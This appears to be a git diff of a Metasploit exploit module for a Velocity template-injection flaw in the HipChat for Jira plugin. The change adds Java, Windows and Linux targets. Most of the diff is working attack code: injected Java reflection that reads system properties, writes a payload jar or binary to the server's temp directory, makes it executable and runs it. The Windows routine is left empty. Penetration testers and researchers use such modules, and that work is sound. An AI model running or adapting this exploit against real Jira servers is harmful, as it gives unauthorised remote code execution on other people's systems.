parent
9697ce5033
commit
83824b2902
|
@ -21,7 +21,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
for Jira that allows team collibration at real time. A message can be used to inject Java
|
||||
code into a Velocity template, and gain code exeuction as Jira. Authentication is required
|
||||
to exploit this vulnerability, and you must make sure the account you're using isn't
|
||||
protected by captcha.
|
||||
protected by captcha. By default, Java payload will be used because it is cross-platform,
|
||||
but you can also specify which native payload you want (Linux or Windows).
|
||||
|
||||
HipChat for Jira plugin versions between 1.3.2 and 6.30.0 are affected. Jira versions
|
||||
between 6.3.5 and 6.4.10 are also affected by default, because they were bundled with
|
||||
|
@ -47,9 +48,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'BID', '76698' ],
|
||||
[ 'URL', 'https://confluence.atlassian.com/jira/jira-and-hipchat-for-jira-plugin-security-advisory-2015-08-26-776650785.html' ]
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'Targets' => [[ 'HipChat for Jira plugin', {} ]],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'HipChat for Jira plugin on Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }],
|
||||
[ 'HipChat for Jira plugin on Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }],
|
||||
[ 'HipChat for Jira plugin on Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'RPORT' => 8080
|
||||
|
@ -66,11 +70,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
OptString.new('JIRAPASS', [false, 'Jira Password', '']),
|
||||
OptString.new('TARGETURI', [true, 'The base to Jira', '/'])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('WriteDir', [true, 'A directory where we can place our payload', '/tmp'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
|
@ -93,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# I don't really care which command to execute, as long as it's a valid one.
|
||||
# If the command is valid, it should return {"message"=>"0"}.
|
||||
# If the command is not valid, it should return an empty hash.
|
||||
c = get_exec_code('echo')
|
||||
c = get_exec_code('whoami')
|
||||
res = inject_template(c, cookie)
|
||||
json = res.get_json_document
|
||||
if json['message'] && json['message'] == '0'
|
||||
|
@ -295,6 +294,18 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
|
||||
def get_target_platform(cookie)
|
||||
c = get_os_detection_code
|
||||
res = inject_template(c, cookie)
|
||||
json = res.get_json_document
|
||||
if json['message']
|
||||
return json['message']
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
|
||||
# Returns Java code that can be used to inject to the template in order to write a file.
|
||||
#
|
||||
# @note This Java code is not able to properly close the file handle. So after using it, you should use #get_dup_file_code,
|
||||
|
@ -309,6 +320,50 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
|
||||
def get_java_path_code
|
||||
get_java_property_code('java.home')
|
||||
end
|
||||
|
||||
|
||||
def get_os_detection_code
|
||||
get_java_property_code('os.name')
|
||||
end
|
||||
|
||||
|
||||
def get_temp_path_code
|
||||
get_java_property_code('java.io.tmpdir')
|
||||
end
|
||||
|
||||
|
||||
def get_java_property_code(prop)
|
||||
%Q| $i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{prop}').toString() |
|
||||
end
|
||||
|
||||
|
||||
def get_jar_exec_code(java_path, war_path)
|
||||
# A quick way to check platform insteaf of actually grabbing os.name in Java system properties.
|
||||
if /^\/[[:print:]]+/ === war_path
|
||||
normalized_java_path = Rex::FileUtils.normalize_unix_path(java_path, '/bin/java')
|
||||
cmd_str = %Q|#{normalized_java_path} -jar #{war_path}|
|
||||
else
|
||||
normalized_java_path = Rex::FileUtils.normalize_win_path(java_path, '\\bin\\java.exe')
|
||||
war_path.gsub!(/Program Files/, 'PROGRA~1')
|
||||
cmd_str = %Q|cmd.exe /C #{normalized_java_path} -jar #{war_path}"|
|
||||
end
|
||||
|
||||
%Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd_str}').waitFor() |
|
||||
end
|
||||
|
||||
|
||||
# Returns Java code that can be used to inject to the template in order to execute a file.
|
||||
#
|
||||
# @param cmd [String] command to execute
|
||||
# @return [String]
|
||||
def get_exec_code(cmd)
|
||||
%Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd}').waitFor() |
|
||||
end
|
||||
|
||||
|
||||
# Returns Java code that can be used to inject to the template in order to chmod a file.
|
||||
#
|
||||
# @param fname [String] File to chmod
|
||||
|
@ -331,15 +386,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
|
||||
# Returns Java code that can be used to inject to the template in order to execute a file.
|
||||
#
|
||||
# @param cmd [String] command to execute
|
||||
# @return [String]
|
||||
def get_exec_code(cmd)
|
||||
%Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd}').waitFor() |
|
||||
end
|
||||
|
||||
|
||||
# Returns a boolean indicating whether the module has a username and password.
|
||||
#
|
||||
# @return [TrueClass] There is an empty cred.
|
||||
|
@ -383,12 +429,105 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
res
|
||||
end
|
||||
|
||||
|
||||
def target_platform_compat?(target_platform)
|
||||
target.platform.names.grep(/#{target_platform}|java/i).empty? ? false : true
|
||||
end
|
||||
|
||||
|
||||
# Returns the normalized file path for payload.
|
||||
#
|
||||
# @return [String]
|
||||
def normalize_payload_fname(fname)
|
||||
Rex::FileUtils.normalize_unix_path(datastore['WriteDir'], fname)
|
||||
def normalize_payload_fname(tmp_path, fname)
|
||||
# A quick way to check platform insteaf of actually grabbing os.name in Java system properties.
|
||||
if /^\/[[:print:]]+/ === tmp_path
|
||||
Rex::FileUtils.normalize_unix_path(tmp_path, fname)
|
||||
else
|
||||
Rex::FileUtils.normalize_win_path(tmp_path, fname)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def get_tmp_path(cookie)
|
||||
c = get_temp_path_code
|
||||
res = inject_template(c, cookie)
|
||||
json = res.get_json_document
|
||||
if json['message']
|
||||
return json['message']
|
||||
end
|
||||
|
||||
''
|
||||
end
|
||||
|
||||
def get_java_home_path(cookie)
|
||||
c = get_java_path_code
|
||||
res = inject_template(c, cookie)
|
||||
json = res.get_json_document
|
||||
json['message'] || ''
|
||||
end
|
||||
|
||||
|
||||
def exploit_as_java(cookie)
|
||||
tmp_path = get_tmp_path(cookie)
|
||||
|
||||
if tmp_path.blank?
|
||||
fail_with(Failure::Unknown, 'Unable to get the temp path.')
|
||||
end
|
||||
|
||||
jar_fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
|
||||
jar = payload.encoded_jar
|
||||
java_home = get_java_home_path(cookie)
|
||||
register_files_for_cleanup(jar_fname)
|
||||
|
||||
if java_home.blank?
|
||||
fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')
|
||||
else
|
||||
print_status("Found Java home path: #{java_home}")
|
||||
end
|
||||
|
||||
print_status("Attempting to write #{jar_fname}")
|
||||
c = get_write_file_code(jar_fname, jar)
|
||||
inject_template(c, cookie)
|
||||
|
||||
print_status("Executing #{jar_fname}")
|
||||
c = get_jar_exec_code(java_home, jar_fname)
|
||||
inject_template(c, cookie)
|
||||
end
|
||||
|
||||
|
||||
def exploit_as_windows(cookie)
|
||||
end
|
||||
|
||||
|
||||
def exploit_as_linux(cookie)
|
||||
tmp_path = get_tmp_path(cookie)
|
||||
|
||||
if tmp_path.blank?
|
||||
fail_with(Failure::Unknown, 'Unable to get the temp path.')
|
||||
end
|
||||
|
||||
fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))
|
||||
new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6))
|
||||
register_files_for_cleanup(fname, new_fname)
|
||||
|
||||
print_status("Attempting to write #{fname}")
|
||||
p = generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)
|
||||
c = get_write_file_code(fname, p)
|
||||
inject_template(c, cookie)
|
||||
|
||||
print_status("chmod +x #{fname}")
|
||||
c = get_exec_code("chmod 777 #{fname}")
|
||||
inject_template(c, cookie)
|
||||
|
||||
print_status("New file will be #{new_fname}")
|
||||
c = get_dup_file_code(fname, new_fname)
|
||||
inject_template(c, cookie)
|
||||
|
||||
print_status("Executing #{new_fname}")
|
||||
c = get_exec_code(new_fname)
|
||||
inject_template(c, cookie)
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
if jira_cred_empty?
|
||||
|
@ -399,29 +538,22 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
cookie = do_login
|
||||
print_good("Successfully logged in as #{jira_username}")
|
||||
|
||||
fname = normalize_payload_fname(Rex::Text.rand_text_alpha(5))
|
||||
new_fname = normalize_payload_fname(Rex::Text.rand_text_alpha(6))
|
||||
register_files_for_cleanup(fname, new_fname)
|
||||
target_platform = get_target_platform(cookie)
|
||||
print_status("Target being detected as: #{target_platform}")
|
||||
|
||||
print_status("Attempting to write #{fname}")
|
||||
p = generate_payload_exe(code: payload.encoded, arch: self.arch, platform: self.platform)
|
||||
c = get_write_file_code(fname, p)
|
||||
inject_template(c, cookie)
|
||||
unless target_platform_compat?(target_platform)
|
||||
fail_with(Failure::BadConfig, 'Selected target does not match the target.')
|
||||
end
|
||||
|
||||
print_status("chmod +x #{fname}")
|
||||
c = get_exec_code("chmod 777 #{fname}")
|
||||
inject_template(c, cookie)
|
||||
case target.name
|
||||
when /java$/i
|
||||
exploit_as_java(cookie)
|
||||
when /windows$/i
|
||||
exploit_as_windows(cookie)
|
||||
when /linux$/i
|
||||
exploit_as_linux(cookie)
|
||||
end
|
||||
|
||||
# Unfortunately, it seems very tricky to properly close the file handle due to the way we are injecting code.
|
||||
# If the file is buys, we won't be able to execute it. A way to work around that is to duplicate the file,
|
||||
# and the new one should be executable.
|
||||
print_status("New file will be #{new_fname}")
|
||||
c = get_dup_file_code(fname, new_fname)
|
||||
inject_template(c, cookie)
|
||||
|
||||
print_status("Executing #{new_fname}")
|
||||
c = get_exec_code(new_fname)
|
||||
inject_template(c, cookie)
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
|
|
Loading…
Reference in New Issue